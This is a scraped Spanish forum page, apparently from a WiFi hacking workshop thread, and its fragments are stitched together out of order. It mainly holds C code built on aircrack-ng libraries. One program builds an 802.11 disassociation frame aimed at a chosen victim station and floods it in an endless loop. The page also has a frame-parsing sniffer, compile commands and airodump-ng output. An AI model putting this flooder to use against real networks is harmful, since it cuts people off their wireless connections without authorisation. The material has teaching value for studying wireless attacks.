Buenas:
Yo tengo 2 ipw2100 y ni Windows ni Linux
Un saludo
ChimoC
Yo tengo 2 ipw2100 y ni Windows ni Linux

Un saludo
ChimoC
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú


int main( int argc, char *argv[] ) // inicio del programa
{
int z;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];
// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);
printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
/***************************************/
/* Construimos la trama de Disociación */
/***************************************/
// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;
// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;
// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];
// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];
// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];
// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;
// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa: satisfactorio
// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}
exit(0);
}gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dos01.o dos01.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dos02.o common.o crypto.o -o dos02 -Losdep -losdep -lssl -lcrypto

0 = 0000
8 = 1000
4 = 0100
1 = 0001






































08 42 2c 00 00 00 1d ... ... .paquete[0]=0x08
paquete[1]=0x42
paquete[2]=0x2c
y así hasta el final... If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado
If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activadoEstado= paquete[1] AND 0x03
Switch (Estado) {
Case 0: es un paquete con FromDS y TodS a cero, probablemente de una
Una estación a otra estación (modo as-hoc)
Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de
Un cliente al punto de acceso
Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de
Un punto de acceso a un cliente
Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de
Un punto de acceso a otro punto de acceso (modo wds)
} If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos
If paquete[0] AND 0x0c = 0x00 se trata de una trama de administración
If paquete[0] AND 0x0c = 0x04 se trata de un trama de control If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoSCitarOtra cosa!!! que me olvidé al hablar de "las ventajas" de usar QoS en este tipo de ataques...
Si está habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"








tar xvfz aircrack-ng-1.0-rc3.tar.gz
cd aircrack-ng-1.0-rc3
cd src
make unstable=truevoid dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla
{
int i=0;
printf("\n");
for(i=0; i<len; i++)
{
if(i>0 && i%4 == 0)printf(" ");
if(i>0 && i%16 == 0)printf("\n");
printf("%02X ", packet[i]);
}
printf("\n");
}int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi
{
struct wif *wi = _wi_in; /* XXX */
int rc;
rc = wi_read(wi, buf, count, ri);
if (rc == -1) {
switch (errno) {
case EAGAIN:
return 0;
}
perror("wi_read()");
return -1;
}
return rc;
}int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
char elegido[1];
int otromas, estado;
caplen=0;
while( 1 )
{
caplen = read_packet( h80211, sizeof( h80211 ), NULL );
if(caplen <= 0) continue; // si la longitud no es válida. no se capturaron paquetes
dump_packet (h80211,caplen);
printf( "\nPulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?" );
otromas=0;
while(otromas==0) otromas = scanf( "%s", elegido );
usleep(300);
if( elegido[0] != 's' && elegido[0] != 'S' ) continue;
printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211[1]); //muestra los 2 bytes de FC
estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3)
switch (estado) {
case 0: // comunicacions adhoc y tramas de control/administración
printf ("\t......FromDS : 0\n");
printf ("\t......toDs : 0\n");
break;
case 1: // paquete con dirección HACIA el sistema de districubión
printf ("\t......FromDs : 0\n");
printf ("\t......toDS : 1\n");
break;
case 2: // paquete enviado DESDE el sistema de distribución
printf ("\t......FromDs : 1\n");
printf ("\t......toDS : 0\n");
break;
case 3: // paquete enviado en WDS
printf ("\t......FromDS : 1\n");
printf ("\t......toDs : 1\n");
break;
}
// Comprobamos el tipo de trama (datos, administración o control)
if ((h80211[0] & 0x0C) == 0x08)
printf ("\t......Trama : de DATOS\n");
if ((h80211[0] & 0x0C) == 0x00)
printf ("\t......Trama : de ADMINISTRACION\n");
if ((h80211[0] & 0x0C) == 0x04)
printf ("\t......Trama : de CONTROL\n");
// Averiguamos si se trata de un paquete con el bit de cifrado activado
if ((h80211[1] & 0x40) == 0x40) {
printf ("\t......Cifrado: SI\n");
}
else
{
printf ("\t......Cifrado : NO\n");
}
}
return( caplen );
}int main( int argc, char *argv[] ) // inicio del programa
{
int caplen;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
/***************************************/
/* Llamada al esnifer */
/***************************************/
caplen=0;
caplen=captura_datos_FC(caplen);
exit(0);
}gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o wifiesnif.o wifiesnif.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude wifiesnif.o common.o crypto.o -o wifiesnif -Losdep -losdep -lssl -lcryptobt src # wifiesnif eth1
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?n
08 41 1C 00 00 16 B6 41 03 5D 00 17 9A C3 D6 B9
00 16 B6 41 03 5B 80 88 2A 21 00 00 13 F5 7C F2
C5 E5 15 9D CA 7C B1 17 09 25 84 05 1D 55 92 59
F0 95 43 2B 54 1F A2 41 B1 24 E1 F8 A5 47 7D 58
04 6C A4 AF AB BC 27 C2 D9 31 E2 03 6E 7B CC F1
24 AE D0 0B D9 F1 1A 25 E4 2D EE DC 0B C9 45 48
55 6D 58 55
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: 08:41
......FromDs : 0
......toDS : 1
......Trama : de DATOS
......Cifrado: SI
D4 00 00 00 00 17 9A C3 D6 B9
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: D4:00
......FromDS : 0
......toDs : 0
......Trama : de CONTROL
......Cifrado: NO
... .
... .bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D
CH 1 ][ Elapsed: 0 s ][ 2009-07-14 09:47
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:16:B6:41:03:5D 78 0 16 2 0 1 48 WEP WEP TallerWIFI
BSSID STATION PWR Lost Packets Probes
00:16:B6:41:03:5D 00:17:9A:C3:D6:B9 75 0 2int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}
perror("wi_write()");
return -1;
}
return 0;
}
)